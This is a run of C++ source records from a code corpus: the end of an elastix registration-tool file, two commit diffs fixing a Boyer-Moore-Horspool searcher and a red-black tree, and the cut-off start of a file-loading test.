}\n    elxout << \"-out      \" << check << std::endl;\n  }\n\n  \/** Check for appearance of -threads, which specifies the maximum number of threads. *\/\n  check = \"\";\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-threads\" );\n  if ( check == \"\" )\n  {\n    elxout << \"-threads  unspecified, so all available threads are used\" << std::endl;\n  }\n  else\n  {\n    elxout << \"-threads  \" << check << std::endl;\n  }\n\n  \/** Print \"-tp\". *\/\n  check = this->GetConfiguration()->GetCommandLineArgument( \"-tp\" );\n  elxout << \"-tp       \" << check << std::endl;\n\n  \/** Check the very important UseDirectionCosines parameter. *\/\n  this->m_UseDirectionCosines = false;\n  bool retudc = this->GetConfiguration()->ReadParameter( this->m_UseDirectionCosines,\n    \"UseDirectionCosines\", 0 );\n  if ( !retudc )\n  {\n    xl::xout[\"warning\"]\n      << \"\\nWARNING: From elastix 4.3 it is highly recommended to add\\n\"\n      << \"the UseDirectionCosines option to your parameter file! See\\n\"\n      << \"http:\/\/elastix.isi.uu.nl\/whatsnew_04_3.php for more information.\\n\"\n      << std::endl;\n  }\n\n  return returndummy;\n\n} \/\/ end BeforeAllTransformixBase()\n\n\n\/**\n * ************************ BeforeRegistrationBase ******************\n *\/\n\nvoid ElastixBase::BeforeRegistrationBase( void )\n{\n  using namespace xl;\n\n  \/** Set up the \"iteration\" writing field. *\/\n  this->m_IterationInfo.SetOutputs( xout.GetCOutputs() );\n  this->m_IterationInfo.SetOutputs( xout.GetXOutputs() );\n\n  xout.AddTargetCell( \"iteration\", &this->m_IterationInfo );\n\n} \/\/ end BeforeRegistrationBase()\n\n\n\/**\n * **************** AfterRegistrationBase ***********************\n *\/\n\nvoid ElastixBase::AfterRegistrationBase( void )\n{\n  \/** Remove the \"iteration\" writing field. *\/\n  xl::xout.RemoveTargetCell( \"iteration\" );\n\n} \/\/ end AfterRegistrationBase()\n\n\n\/**\n * ********************* GenerateFileNameContainer ******************\n *\/\n\nElastixBase::FileNameContainerPointer\nElastixBase::GenerateFileNameContainer(\n  const std::string & optionkey, int & errorcode,\n  bool printerrors, bool printinfo ) const\n{\n  FileNameContainerPointer fileNameContainer = FileNameContainerType::New();\n  std::string check = \"\";\n  std::string argused( \"\" );\n\n  \/** Try optionkey0. *\/\n  std::ostringstream argusedss( \"\" );\n  argusedss << optionkey << 0;\n  argused = argusedss.str();\n  check = this->GetConfiguration()->GetCommandLineArgument( argused.c_str() );\n  if ( check == \"\" )\n  {\n    \/** Try optionkey. *\/\n    std::ostringstream argusedss2( \"\" );\n    argusedss2 << optionkey;\n    argused = argusedss2.str();\n    check = this->GetConfiguration()->GetCommandLineArgument( argused.c_str() );\n    if ( check == \"\" )\n    {\n      \/** Both failed; return an error message, if desired. *\/\n      if ( printerrors )\n      {\n        xl::xout[\"error\"]\n        << \"ERROR: No CommandLine option \\\"\"\n          << optionkey << \"\\\" or \\\"\"\n          << optionkey << 0 << \"\\\" given!\" << std::endl;\n      }\n      errorcode |= 1;\n\n      return fileNameContainer;\n    }\n  }\n\n  \/** Optionkey or optionkey0 is found. *\/\n  if ( check != \"\" )\n  {\n    \/** Print info, if desired. *\/\n    if ( printinfo )\n    {\n      \/** Print the option, with some spaces, followed by the value. *\/\n      int nrSpaces0 = 10 - argused.length();\n      unsigned int nrSpaces = nrSpaces0 > 1 ? nrSpaces0 : 1;\n      std::string spaces = \"\";\n      spaces.resize( nrSpaces, ' ' );\n      elxout << argused << spaces << check << std::endl;\n    }\n    fileNameContainer->CreateElementAt( 0 ) = check;\n\n    \/** Loop over all optionkey<i> options given with i > 0. *\/\n    unsigned int i = 1;\n    bool readsuccess = true;\n    while ( readsuccess )\n    {\n      std::ostringstream argusedss2( \"\" );\n      argusedss2 << optionkey << i;\n      argused = argusedss2.str();\n      check = this->GetConfiguration()->GetCommandLineArgument( argused.c_str() );\n      if ( check == \"\" )\n      {\n        readsuccess = false;\n      }\n      else\n      {\n        if ( printinfo )\n        {\n          \/** Print the option, with some spaces, followed by the value. *\/\n          int nrSpaces0 = 10 - argused.length();\n          unsigned int nrSpaces = nrSpaces0 > 1 ? nrSpaces0 : 1;\n          std::string spaces = \"\";\n          spaces.resize( nrSpaces, ' ' );\n          elxout << argused << spaces << check << std::endl;\n        }\n        fileNameContainer->CreateElementAt(i) = check;\n        ++i;\n      }\n    } \/\/ end while\n  } \/\/ end if\n\n  return fileNameContainer;\n\n} \/\/ end GenerateFileNameContainer()\n\n\n\/**\n * ******************** GetUseDirectionCosines ********************\n *\/\n\nbool ElastixBase::GetUseDirectionCosines( void ) const\n{\n  return this->m_UseDirectionCosines;\n}\n\n\n\/**\n * ******************** SetOriginalFixedImageDirectionFlat ********************\n *\/\n\nvoid ElastixBase::SetOriginalFixedImageDirectionFlat(\n  const FlatDirectionCosinesType & arg )\n{\n  this->m_OriginalFixedImageDirection = arg;\n}\n\n\n\/**\n * ******************** GetOriginalFixedImageDirectionFlat ********************\n *\/\n\nconst ElastixBase::FlatDirectionCosinesType &\nElastixBase::GetOriginalFixedImageDirectionFlat( void ) const\n{\n  return this->m_OriginalFixedImageDirection;\n}\n\n\n} \/\/ end namespace elastix\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"BoyerMoore.hpp\"\n\nBoyerMooreHorspoolSearcher::BoyerMooreHorspoolSearcher(const char* pattern)\n    : pattern(pattern),\n      patternLength(strlen(pattern)) {\n    if(patternLength != 0) {\n        initializeSkipTable();\n    }\n}\n\nBoyerMooreHorspoolSearcher::BoyerMooreHorspoolSearcher(const std::string& patternParam)\n    : pattern(patternParam.c_str()),\n      patternLength(patternParam.size()) {\n    if(patternLength != 0) {\n        initializeSkipTable();\n    }\n}\n\nvoid BoyerMooreHorspoolSearcher::initializeSkipTable() {\n    assert(pattern);\n    \/\/Initialize table to maximum skip length\n    for (size_t i = 0;i < SKIPTABLE_LENGTH; i++) {\n        skipTable[i] = patternLength;\n    }\n    \/\/Calculate skip table for characters that exist in the pattern.\n    for (size_t i = 0; i < patternLength - 1; i++) {\n        skipTable[(uint8_t)pattern[i]] = patternLength - i - 1;\n    }\n}\n\nconst int BoyerMooreHorspoolSearcher::find(const char* corpus) {\n    return find(corpus, strlen(corpus));\n}\n\nconst int BoyerMooreHorspoolSearcher::find(const std::string& corpus) {\n    return find(corpus.c_str(), corpus.size());\n}\n\nconst int BoyerMooreHorspoolSearcher::find(const char* corpus, size_t corpusLength) {\n    assert(corpus);\n    \/\/Shortcut if there's an empty pattern (--> we DEFINE that as not found)\n    if(patternLength == 0) {\n        return -1;\n    }\n    \/\/Can't find pattern if its larger than corpus\n    if (patternLength > corpusLength) {\n        return -1;\n    }\n    for(int k = patternLength - 1 ; k < corpusLength ; ) {\n        int j = patternLength - 1;\n        int i = k;\n        while (j >= 0 && corpus[i] == pattern[j]) {\n            j--;\n            i--;\n        }\n        if (j == -1) {\n            return i + 1;\n        }\n        k += skipTable[(uint8_t)corpus[k]];\n    }\n    \/\/Couldn't find it \n    return -1;\n}<commit_msg>Fix signed\/unsigned compare warning<commit_after>#include \"BoyerMoore.hpp\"\n\nBoyerMooreHorspoolSearcher::BoyerMooreHorspoolSearcher(const char* pattern)\n    : pattern(pattern),\n      patternLength(strlen(pattern)) {\n    if(patternLength != 0) {\n        initializeSkipTable();\n    }\n}\n\nBoyerMooreHorspoolSearcher::BoyerMooreHorspoolSearcher(const std::string& patternParam)\n    : pattern(patternParam.c_str()),\n      patternLength(patternParam.size()) {\n    if(patternLength != 0) {\n        initializeSkipTable();\n    }\n}\n\nvoid BoyerMooreHorspoolSearcher::initializeSkipTable() {\n    assert(pattern);\n    \/\/Initialize table to maximum skip length\n    for (size_t i = 0;i < SKIPTABLE_LENGTH; i++) {\n        skipTable[i] = patternLength;\n    }\n    \/\/Calculate skip table for characters that exist in the pattern.\n    for (size_t i = 0; i < patternLength - 1; i++) {\n        skipTable[(uint8_t)pattern[i]] = patternLength - i - 1;\n    }\n}\n\nconst int BoyerMooreHorspoolSearcher::find(const char* corpus) {\n    return find(corpus, strlen(corpus));\n}\n\nconst int BoyerMooreHorspoolSearcher::find(const std::string& corpus) {\n    return find(corpus.c_str(), corpus.size());\n}\n\nconst int BoyerMooreHorspoolSearcher::find(const char* corpus, size_t corpusLength) {\n    assert(corpus);\n    \/\/Shortcut if there's an empty pattern (--> we DEFINE that as not found)\n    if(patternLength == 0) {\n        return -1;\n    }\n    \/\/Can't find pattern if its larger than corpus\n    if (patternLength > corpusLength) {\n        return -1;\n    }\n    for(int k = patternLength - 1 ; k < (int)corpusLength ; ) {\n        int j = patternLength - 1;\n        int i = k;\n        while (j >= 0 && corpus[i] == pattern[j]) {\n            j--;\n            i--;\n        }\n        if (j == -1) {\n            return i + 1;\n        }\n        k += skipTable[(uint8_t)corpus[k]];\n    }\n    \/\/Couldn't find it \n    return -1;\n}<|endoftext|>"}
{"text":"<commit_before>#include \"RedBlackTree.h\"\n#include <algorithm>\n#include <cassert>\n#include <utility>\n#include <iostream>\n#include <string>\n\n#define RED 'R'\n#define BLACK 'B'\n\nRbNode RBNIL = {BLACK, -1, &RBNIL, &RBNIL, &RBNIL};\n\nstatic RbNode *Next(RbNode *e) {\n  if (is_nil(e->right)) {\n    return &RBNIL;\n  }\n  RbNode *next = e->right;\n  while (not_nil(next->left)) {\n    next = next->left;\n  }\n  return next;\n}\n\nstatic RbNode *GrandFather(RbNode *e) {\n  if (is_nil(e))\n    return &RBNIL;\n  if (is_nil(e->father))\n    return &RBNIL;\n  return e->father->father;\n}\n\nstatic RbNode *Uncle(RbNode *e) {\n  if (is_nil(GrandFather(e)))\n    return &RBNIL;\n  if (GrandFather(e)->left == e)\n    return GrandFather(e)->right;\n  if (GrandFather(e)->right == e)\n    return GrandFather(e)->left;\n  return &RBNIL;\n}\n\nstatic bool IsLeft(RbNode *e) {\n  if (is_nil(e->father))\n    return false;\n  return e->father->left == e;\n}\n\nstatic bool IsRight(RbNode *e) {\n  if (is_nil(e->father))\n    return false;\n  return e->father->right == e;\n}\n\nstatic RbNode *Brother(RbNode *e) {\n  if (is_nil(e))\n    return &RBNIL;\n  if (IsLeft(e)) {\n    return e->father->right;\n  }\n  if (IsRight(e)) {\n    return e->father->left;\n  }\n  return &RBNIL;\n}\n\nstatic void DumpNode(RbNode *e) {\n  assert(e);\n  if (is_nil(e)) {\n    std::cout << \" [nil B]\" << std::endl;\n  } else {\n    std::cout << \" [\" << e->value << \" \" \n      << (e->color == RED ? \"R\" : \"B\") \n      << \" l:\" << (is_nil(e->left) ? \"nil\" : std::to_string(e->left->value)) \n      << \" r:\" << (is_nil(e->right) ? \"nil\" : std::to_string(e->right->value))\n      << \"]\" << std::endl;\n    DumpNode(e->left);\n    DumpNode(e->right);\n  }\n}\n\nstatic void DumpTree(RedBlackTree *t) {\n  assert(t);\n  std::cout << std::endl << std::endl << std::endl;\n  DumpNode(t->root);\n}\n\nstatic void Free(RbNode *e) {\n  if (is_nil(e))\n    return;\n  Free(e->left);\n  Free(e->right);\n  delete e;\n}\n\nstatic void LeftRotate(RbNode *&father, RbNode *&e) {\n  RbNode *p_right = e->right;\n  e->right = p_right->left;\n\n  if (not_nil(e->right)) {\n    e->right->father = e;\n  }\n\n  p_right->father = e->father;\n\n  if (is_nil(e->father)) {\n    father = p_right;\n  } else if (e == e->father->left) {\n    e->father->left = p_right;\n  } else {\n    e->father->right = p_right;\n  }\n\n  p_right->left = e;\n  e->father = p_right;\n}\n\nstatic void RightRotate(RbNode *&father, RbNode *&e) {\n  RbNode *p_left = e->left;\n  e->left = p_left->right;\n\n  if (not_nil(e->left)) {\n    e->left->father = e;\n  }\n\n  p_left->father = e->father;\n\n  if (is_nil(e->father)) {\n    father = p_left;\n  } else if (e == e->father->left) {\n    e->father->left = p_left;\n  } else {\n    e->father->right = p_left;\n  }\n\n  p_left->right = e;\n  e->father = p_left;\n}\n\nvoid FixInsert(RbNode *&root, RbNode *&e) {\n  RbNode *e_father, *e_grand_father;\n  set_nil(e_father);\n  set_nil(e_grand_father);\n\n  while ((e != root) && (e->color != BLACK) && (e->father->color == RED)) {\n    e_father = e->father;\n    e_grand_father = e->father->father;\n\n    \/\/ case A\n    if (e_father == e_grand_father->left) {\n      RbNode *e_uncle = e_grand_father->right;\n\n      \/\/ case 1: Red Uncle\n      if (not_nil(e_uncle) && e_uncle->color == RED) {\n        e_grand_father->color = RED;\n        e_father->color = BLACK;\n        e_uncle->color = BLACK;\n        e = e_grand_father;\n      } else {\n\n        \/\/ case 2: Black Uncle, left-right-case\n        if (e == e_father->right) {\n          LeftRotate(root, e_father);\n          e = e_father;\n          e_father = e->father;\n        }\n\n        \/\/ case 3: Black Uncle, left-left-case\n        RightRotate(root, e_grand_father);\n        std::swap(e_father->color, e_grand_father->color);\n        e = e_father;\n      }\n    }\n\n    \/\/ case B\n    else {\n      RbNode *e_uncle = e_grand_father->right;\n\n      \/\/ case 1: Red Uncle\n      if (not_nil(e_uncle) && (e_uncle->color == RED)) {\n        e_grand_father->color = RED;\n        e_father->color = BLACK;\n        e_uncle->color = BLACK;\n        e = e_grand_father;\n      } else {\n\n        \/\/ case 4: Black Uncle, left-right-case\n        if (e == e_father->left) {\n          RightRotate(root, e_father);\n          e = e_father;\n          e_father = e->father;\n        }\n\n        \/\/ case 5: Black Uncle, right-right-case\n        LeftRotate(root, e_grand_father);\n        std::swap(e_father->color, e_grand_father->color);\n        e = e_father;\n      }\n    }\n  } \/\/ while\n\n  root->color = BLACK;\n}\n\nstatic void FixErase(RbNode *&root, RbNode *&e) {\n  \/\/ Reached root\n  if (e == root) {\n    return;\n  }\n\n  RbNode *e_brother = Brother(e);\n  RbNode *e_father = e->father;\n\n  if (is_nil(e_brother)) {\n    \/\/ No sibiling, double black pushed up\n    FixErase(root, e_father);\n  } else {\n    if (e_brother->color == RED) {\n      \/\/ brother red\n      e_father->color = RED;\n      e_brother->color = BLACK;\n      if (IsLeft(e_brother)) {\n        \/\/ left case\n        RightRotate(root, e_father);\n      } else {\n        \/\/ right case\n        LeftRotate(root, e_father);\n      }\n      FixErase(root, e);\n    } else {\n      \/\/ brother black\n      if (e_brother->left->color == RED || e_brother->right->color == RED) {\n        \/\/ at least 1 red children\n        if (not_nil(e_brother->left) && e_brother->left->color == RED) {\n          if (IsLeft(e_brother)) {\n            \/\/ left left\n            e_brother->left->color = e_brother->color;\n            e_brother->color = e_father->color;\n            RightRotate(root, e_father);\n          } else {\n            \/\/ right left\n            e_brother->left->color = e_father->color;\n            RightRotate(root, e_brother);\n            LeftRotate(root, e_father);\n          }\n        } else {\n          if (IsLeft(e_brother)) {\n            \/\/ left right\n            e_brother->right->color = e_father->color;\n            LeftRotate(root, e_brother);\n            RightRotate(root, e_father);\n          } else {\n            \/\/ right right\n            e_brother->right->color = e_brother->color;\n            e_brother->color = e_father->color;\n            LeftRotate(root, e_father);\n          }\n        }\n        e_father->color = BLACK;\n      } else {\n        \/\/ 2 black children\n        e_brother->color = RED;\n        if (e_father->color == BLACK) {\n          FixErase(root, e_father);\n        } else {\n          e_father->color = BLACK;\n        }\n      }\n    }\n  }\n}\n\nstatic void Erase(RbNode *&root, RbNode *&e) {\n\n  \/\/ case 1: e has no child\n  if (is_nil(e->left) && is_nil(e->right)) {\n    if (e == root) {\n      set_nil(root);\n    } else {\n      if (e->color == BLACK) {\n        FixErase(root, e);\n      } else {\n        if (not_nil(Uncle(e))) {\n          Uncle(e)->color = RED;\n        }\n      }\n      if (IsLeft(e)) {\n        set_nil(e->father->left);\n      } else {\n        set_nil(e->father->right);\n      }\n    }\n    delete e;\n    return;\n  }\n\n  \/\/ case 2: e has 1 child\n  if (is_nil(e->left) || is_nil(e->right)) {\n    RbNode *p = not_nil(e->left) ? e->left : e->right;\n    if (e == root) {\n      e->value = p->value;\n      set_nil(e->left);\n      set_nil(e->right);\n      delete p;\n    } else {\n      if (IsLeft(e)) {\n        e->father->left = p;\n      } else {\n        e->father->right = p;\n      }\n      delete e;\n      p->father = e->father;\n      if (e->color == BLACK && p->color == BLACK) {\n        FixErase(root, e);\n      } else {\n        p->color = BLACK;\n      }\n    }\n    return;\n  }\n\n  \/\/ case 3: e has 2 child\n  RbNode *p = Next(e);\n  std::swap(p->color, e->color);\n  Erase(root, e);\n}\n\nstatic RbNode *Find(RbNode *e, int value) {\n  if (is_nil(e)) {\n    return &RBNIL;\n  }\n  \/\/二分查找\n  if (e->value == value) {\n    return e;\n  } else if (e->value > value) {\n    return Find(e->left, value);\n  } else {\n    return Find(e->right, value);\n  }\n}\n\nstatic RbNode *Insert(RbNode *father, RbNode *e) {\n  assert(father);\n  assert(e);\n\n  if (is_nil(father)) {\n    return e;\n  }\n\n  \/\/利用二分查找找到适合value插入的位置e\n\n  if (father->value > e->value) {\n    father->left = Insert(father->left, e);\n    father->left->father = father;\n  } else if (father->value < e->value) {\n    father->right = Insert(father->right, e);\n    father->right->father = father;\n  } else {\n    assert(father->value != e->value);\n  }\n  return father;\n}\n\nRedBlackTree *RedBlackTreeNew() {\n  RedBlackTree *t = new RedBlackTree();\n  if (!t)\n    return NULL;\n  t->root = &RBNIL;\n  return t;\n}\n\nvoid RedBlackTreeFree(RedBlackTree *t) {\n  assert(t);\n  Free(t->root);\n  delete t;\n}\n\nvoid RedBlackTreeInsert(RedBlackTree *t, int value) {\n  assert(t);\n  assert(value >= 0);\n\n  RbNode *e = new RbNode();\n  set_nil(e->left);\n  set_nil(e->right);\n  set_nil(e->father);\n  e->color = RED; \/\/ new node is red\n  e->value = value;\n\n  t->root = Insert(t->root, e);\n  FixInsert(t->root, e);\n  DumpTree(t);\n}\n\nRbNode *RedBlackTreeFind(RedBlackTree *t, int value) {\n  return Find(t->root, value);\n}\n\nvoid RedBlackTreeErase(RedBlackTree *t, int value) {\n  RbNode *e = Find(t->root, value);\n  if (is_nil(e)) {\n    return;\n  }\n  Erase(t->root, e);\n  DumpTree(t);\n}\n\n<commit_msg>fix wrong ptr<commit_after>#include \"RedBlackTree.h\"\n#include <algorithm>\n#include <cassert>\n#include <utility>\n#include <iostream>\n#include <string>\n\n#define RED 'R'\n#define BLACK 'B'\n\nRbNode RBNIL = {BLACK, -1, &RBNIL, &RBNIL, &RBNIL};\n\nstatic RbNode *Next(RbNode *e) {\n  if (is_nil(e->right)) {\n    return &RBNIL;\n  }\n  RbNode *next = e->right;\n  while (not_nil(next->left)) {\n    next = next->left;\n  }\n  return next;\n}\n\nstatic RbNode *GrandFather(RbNode *e) {\n  if (is_nil(e))\n    return &RBNIL;\n  if (is_nil(e->father))\n    return &RBNIL;\n  return e->father->father;\n}\n\nstatic RbNode *Uncle(RbNode *e) {\n  if (is_nil(GrandFather(e)))\n    return &RBNIL;\n  if (GrandFather(e)->left == e)\n    return GrandFather(e)->right;\n  if (GrandFather(e)->right == e)\n    return GrandFather(e)->left;\n  return &RBNIL;\n}\n\nstatic bool IsLeft(RbNode *e) {\n  if (is_nil(e->father))\n    return false;\n  return e->father->left == e;\n}\n\nstatic bool IsRight(RbNode *e) {\n  if (is_nil(e->father))\n    return false;\n  return e->father->right == e;\n}\n\nstatic RbNode *Brother(RbNode *e) {\n  if (is_nil(e))\n    return &RBNIL;\n  if (IsLeft(e)) {\n    return e->father->right;\n  }\n  if (IsRight(e)) {\n    return e->father->left;\n  }\n  return &RBNIL;\n}\n\nstatic void DumpNode(RbNode *e) {\n  assert(e);\n  if (is_nil(e)) {\n    std::cout << \" [nil B]\" << std::endl;\n  } else {\n    std::cout << \" [\" << e->value << \" \" \n      << (e->color == RED ? \"R\" : \"B\") \n      << \" left:\" << (is_nil(e->left) ? \"nil\" : std::to_string(e->left->value)) \n      << \" right:\" << (is_nil(e->right) ? \"nil\" : std::to_string(e->right->value))\n      << \" father:\" << (is_nil(e->father) ? \"nil\" : std::to_string(e->father->value))\n      << \"]\" << std::endl;\n    if (not_nil(e->left)) {\n      DumpNode(e->left);\n    }\n    if (not_nil(e->right)) {\n      DumpNode(e->right);\n    }\n  }\n}\n\nstatic void DumpTree(RedBlackTree *t) {\n  assert(t);\n  std::cout << std::endl << std::endl << std::endl;\n  DumpNode(t->root);\n}\n\nstatic void Free(RbNode *e) {\n  if (is_nil(e))\n    return;\n  Free(e->left);\n  Free(e->right);\n  delete e;\n}\n\nstatic void LeftRotate(RbNode *&father, RbNode *&e) {\n  RbNode *p_right = e->right;\n  e->right = p_right->left;\n\n  if (not_nil(e->right)) {\n    e->right->father = e;\n  }\n\n  p_right->father = e->father;\n\n  if (is_nil(e->father)) {\n    father = p_right;\n  } else if (e == e->father->left) {\n    e->father->left = p_right;\n  } else {\n    e->father->right = p_right;\n  }\n\n  p_right->left = e;\n  e->father = p_right;\n}\n\nstatic void RightRotate(RbNode *&father, RbNode *&e) {\n  RbNode *p_left = e->left;\n  e->left = p_left->right;\n\n  if (not_nil(e->left)) {\n    e->left->father = e;\n  }\n\n  p_left->father = e->father;\n\n  if (is_nil(e->father)) {\n    father = p_left;\n  } else if (e == e->father->left) {\n    e->father->left = p_left;\n  } else {\n    e->father->right = p_left;\n  }\n\n  p_left->right = e;\n  e->father = p_left;\n}\n\nvoid FixInsert(RbNode *&root, RbNode *&e) {\n  RbNode *e_father, *e_grand_father;\n  set_nil(e_father);\n  set_nil(e_grand_father);\n\n  while ((e != root) && (e->color != BLACK) && (e->father->color == RED)) {\n    e_father = e->father;\n    e_grand_father = e->father->father;\n\n    \/\/ case A\n    if (e_father == e_grand_father->left) {\n      RbNode *e_uncle = e_grand_father->right;\n\n      \/\/ case 1: Red Uncle\n      if (not_nil(e_uncle) && e_uncle->color == RED) {\n        e_grand_father->color = RED;\n        e_father->color = BLACK;\n        e_uncle->color = BLACK;\n        e = e_grand_father;\n      } else {\n\n        \/\/ case 2: Black Uncle, left-right-case\n        if (e == e_father->right) {\n          LeftRotate(root, e_father);\n          e = e_father;\n          e_father = e->father;\n        }\n\n        \/\/ case 3: Black Uncle, left-left-case\n        RightRotate(root, e_grand_father);\n        std::swap(e_father->color, e_grand_father->color);\n        e = e_father;\n      }\n    }\n\n    \/\/ case B\n    else {\n      RbNode *e_uncle = e_grand_father->right;\n\n      \/\/ case 1: Red Uncle\n      if (not_nil(e_uncle) && (e_uncle->color == RED)) {\n        e_grand_father->color = RED;\n        e_father->color = BLACK;\n        e_uncle->color = BLACK;\n        e = e_grand_father;\n      } else {\n\n        \/\/ case 4: Black Uncle, left-right-case\n        if (e == e_father->left) {\n          RightRotate(root, e_father);\n          e = e_father;\n          e_father = e->father;\n        }\n\n        \/\/ case 5: Black Uncle, right-right-case\n        LeftRotate(root, e_grand_father);\n        std::swap(e_father->color, e_grand_father->color);\n        e = e_father;\n      }\n    }\n  } \/\/ while\n\n  root->color = BLACK;\n}\n\nstatic void FixErase(RbNode *&root, RbNode *&e) {\n  \/\/ Reached root\n  if (e == root) {\n    return;\n  }\n\n  RbNode *e_brother = Brother(e);\n  RbNode *e_father = e->father;\n\n  if (is_nil(e_brother)) {\n    \/\/ No sibiling, double black pushed up\n    FixErase(root, e_father);\n  } else {\n    if (e_brother->color == RED) {\n      \/\/ brother red\n      e_father->color = RED;\n      e_brother->color = BLACK;\n      if (IsLeft(e_brother)) {\n        \/\/ left case\n        RightRotate(root, e_father);\n      } else {\n        \/\/ right case\n        LeftRotate(root, e_father);\n      }\n      FixErase(root, e);\n    } else {\n      \/\/ brother black\n      if (e_brother->left->color == RED || e_brother->right->color == RED) {\n        \/\/ at least 1 red children\n        if (not_nil(e_brother->left) && e_brother->left->color == RED) {\n          if (IsLeft(e_brother)) {\n            \/\/ left left\n            e_brother->left->color = e_brother->color;\n            e_brother->color = e_father->color;\n            RightRotate(root, e_father);\n          } else {\n            \/\/ right left\n            e_brother->left->color = e_father->color;\n            RightRotate(root, e_brother);\n            LeftRotate(root, e_father);\n          }\n        } else {\n          if (IsLeft(e_brother)) {\n            \/\/ left right\n            e_brother->right->color = e_father->color;\n            LeftRotate(root, e_brother);\n            RightRotate(root, e_father);\n          } else {\n            \/\/ right right\n            e_brother->right->color = e_brother->color;\n            e_brother->color = e_father->color;\n            LeftRotate(root, e_father);\n          }\n        }\n        e_father->color = BLACK;\n      } else {\n        \/\/ 2 black children\n        e_brother->color = RED;\n        if (e_father->color == BLACK) {\n          FixErase(root, e_father);\n        } else {\n          e_father->color = BLACK;\n        }\n      }\n    }\n  }\n}\n\nstatic void Erase(RbNode *&root, RbNode *&e) {\n\n  \/\/ case 1: e has no child\n  if (is_nil(e->left) && is_nil(e->right)) {\n    if (e == root) {\n      set_nil(root);\n    } else {\n      if (e->color == BLACK) {\n        FixErase(root, e);\n      } else {\n        if (not_nil(Uncle(e))) {\n          Uncle(e)->color = RED;\n        }\n      }\n      if (IsLeft(e)) {\n        set_nil(e->father->left);\n      } else {\n        set_nil(e->father->right);\n      }\n    }\n    delete e;\n    return;\n  }\n\n  \/\/ case 2: e has 1 child\n  if (is_nil(e->left) || is_nil(e->right)) {\n    RbNode *p = not_nil(e->left) ? e->left : e->right;\n    if (e == root) {\n      e->value = p->value;\n      set_nil(e->left);\n      set_nil(e->right);\n      delete p;\n    } else {\n      if (IsLeft(e)) {\n        e->father->left = p;\n      } else {\n        e->father->right = p;\n      }\n      delete e;\n      p->father = e->father;\n      if (e->color == BLACK && p->color == BLACK) {\n        FixErase(root, e);\n      } else {\n        p->color = BLACK;\n      }\n    }\n    return;\n  }\n\n  \/\/ case 3: e has 2 child\n  RbNode *p = Next(e);\n  std::swap(p->color, e->color);\n  Erase(root, p);\n}\n\nstatic RbNode *Find(RbNode *e, int value) {\n  if (is_nil(e)) {\n    return &RBNIL;\n  }\n  \/\/二分查找\n  if (e->value == value) {\n    return e;\n  } else if (e->value > value) {\n    return Find(e->left, value);\n  } else {\n    return Find(e->right, value);\n  }\n}\n\nstatic RbNode *Insert(RbNode *father, RbNode *e) {\n  assert(father);\n  assert(e);\n\n  if (is_nil(father)) {\n    return e;\n  }\n\n  \/\/利用二分查找找到适合value插入的位置e\n\n  if (father->value > e->value) {\n    father->left = Insert(father->left, e);\n    father->left->father = father;\n  } else if (father->value < e->value) {\n    father->right = Insert(father->right, e);\n    father->right->father = father;\n  } else {\n    assert(father->value != e->value);\n  }\n  return father;\n}\n\nRedBlackTree *RedBlackTreeNew() {\n  RedBlackTree *t = new RedBlackTree();\n  if (!t)\n    return NULL;\n  t->root = &RBNIL;\n  return t;\n}\n\nvoid RedBlackTreeFree(RedBlackTree *t) {\n  assert(t);\n  Free(t->root);\n  delete t;\n}\n\nvoid RedBlackTreeInsert(RedBlackTree *t, int value) {\n  assert(t);\n  assert(value >= 0);\n\n  RbNode *e = new RbNode();\n  set_nil(e->left);\n  set_nil(e->right);\n  set_nil(e->father);\n  e->color = RED; \/\/ new node is red\n  e->value = value;\n\n  t->root = Insert(t->root, e);\n  FixInsert(t->root, e);\n  DumpTree(t);\n}\n\nRbNode *RedBlackTreeFind(RedBlackTree *t, int value) {\n  return Find(t->root, value);\n}\n\nvoid RedBlackTreeErase(RedBlackTree *t, int value) {\n  RbNode *e = Find(t->root, value);\n  if (is_nil(e)) {\n    return;\n  }\n  Erase(t->root, e);\n  DumpTree(t);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>﻿\r\n\r\n\/**\r\n * Copyright (c) 2016-2017 blueback\r\n * Released under the MIT License\r\n * https:\/\/github.com\/bluebackblue\/brownie\/blob\/master\/LICENSE.txt\r\n * http:\/\/bbbproject.sakura.ne.jp\/wordpress\/mitlicense\r\n * @brief テスト。\r\n*\/\r\n\r\n\r\n\/** include\r\n*\/\r\n#pragma warning(push)\r\n#pragma warning(disable:4464)\r\n#include \"..\/entry.h\"\r\n#pragma warning(pop)\r\n\r\n\r\n\/** warning\r\n\r\n4710 : The given function was selected for inline expansion, but the compiler did not perform the inlining.\r\n\r\n*\/\r\n#pragma warning(disable:4710)\r\n\r\n\r\n\/** NTest\r\n*\/\r\n#if(DEF_TEST_INDEX == 2)\r\nnamespace NTest\r\n{\r\n\t\/** File_Allocator\r\n\t*\/\r\n\tclass File_Allocator : public NBsys::NFile::File_Allocator\r\n\t{\r\n\tpublic:\r\n\t\t\r\n\t\t\/** constructor\r\n\t\t*\/\r\n\t\tFile_Allocator()\r\n\t\t{\r\n\t\t}\r\n\r\n\t\t\/** destructor\r\n\t\t*\/\r\n\t\tvirtual ~File_Allocator()\r\n\t\t{\r\n\t\t}\r\n\r\n\tpublic:\r\n\r\n\t\t\/** Alloc\r\n\t\t*\/\r\n\t\tvirtual void* Alloc(u32 a_size)\r\n\t\t{\r\n\t\t\treturn ::malloc(a_size);\r\n\t\t}\r\n\r\n\t\t\/** Free\r\n\t\t*\/\r\n\t\tvirtual void Free(void* a_pointer)\r\n\t\t{\r\n\t\t\treturn ::free(a_pointer);\r\n\t\t}\r\n\r\n\t};\r\n\r\n\r\n\t\/** Test_Main\r\n\t*\/\r\n\tvoid Test_Main()\r\n\t{\r\n\t\t\/\/ファイル開始。\r\n\t\tNBsys::NFile::StartSystem(1);\r\n\t\tNBsys::NFile::SetRoot(0,L\".\/project_test\/test\" DEF_TEST_STRING);\r\n\r\n\t\t\/\/読み込み開始。\r\n\t\tsharedptr<NBsys::NFile::File_Object> t_fileobject(new NBsys::NFile::File_Object(0,L\"test2.json\",-1,new File_Allocator,1));\r\n\r\n\t\t\/\/読み込み中。\r\n\t\twhile(t_fileobject->IsBusy()){\r\n\t\t\tThreadSleep(10);\r\n\t\t}\r\n\r\n\t\tif(t_fileobject->GetErrorCode() != ErrorCode::Success){\r\n\t\t\tt_fileobject.reset();\r\n\t\t}\r\n\r\n\t\tif(t_fileobject){\r\n\r\n\t\t\t\/\/コンバート。\r\n\t\t\tfor(;;){\r\n\t\t\t\tNBsys::NFile::File_ConvertLock_ReturnType::Id t_ret = 